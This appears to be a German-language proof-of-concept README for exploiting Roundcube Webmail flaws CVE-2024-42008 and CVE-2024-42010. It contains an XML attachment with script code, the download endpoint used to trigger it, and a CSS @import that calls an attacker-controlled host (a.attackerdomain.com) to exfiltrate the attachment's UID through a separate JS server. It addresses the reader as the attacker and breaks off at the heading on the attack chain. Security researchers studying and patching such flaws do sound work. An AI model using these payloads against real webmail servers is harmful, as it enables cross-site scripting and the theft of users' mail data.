
POC für Roundcube-Schwachstellen CVE-2024-42008 und CVE-2024-42010
Dieses Proof of Concept (PoC) demonstriert die Ausnutzung zweier Schwachstellen in Roundcube Webmail, die CSS-Injection und Cross-Site-Scripting (XSS) ermöglichen. Der Angriff besteht aus zwei Phasen:
XSS über bösartigen XML-Anhang (CVE-2024-42008)
Aufgrund unzureichender Prüfungen beim Datei-Upload kann eine XML-Datei mit JavaScript-Code als Anhang gesendet werden, z. B.:
<something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
alert(origin)
</something:script>
Dies war ein bekanntes Problem, das als CVE-2020-13965 erfasst wurde. Die Gegenmaßnahme bestand darin, die Option „Anhang öffnen“ zu deaktivieren. Die Datei kann jedoch weiterhin über den Endpunkt abgerufen werden:
https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
UID ist dabei der eindeutige Bezeichner für diesen bestimmten Anhang in diesem bestimmten Postfach (d. h. INBOX).

HTML-Exfiltration über CSS-Injection (CVE-2024-42010)
Beim Senden einer E-Mail ist es möglich, eine eigene CSS-Datei einzuschleusen, wenn diese auf einer Domain gehostet wird, die mit a beginnt. Über diese und eine JavaScript-Serverdatei, die die vom verwundbaren Roundcube-Host gestellten Anfragen verarbeitet, ist es möglich, die UID des bösartigen XSS-Anhangs zu extrahieren.
Importieren Sie das CSS in einer gesendeten E-Mail mit:
<style>
@import "//a.attackerdomain.com/start?"
</style>
Hosten Sie den JS-Server (roundcube-css-exploit.js), der die UID des bösartigen Anhangs exfiltriert

Angriffskette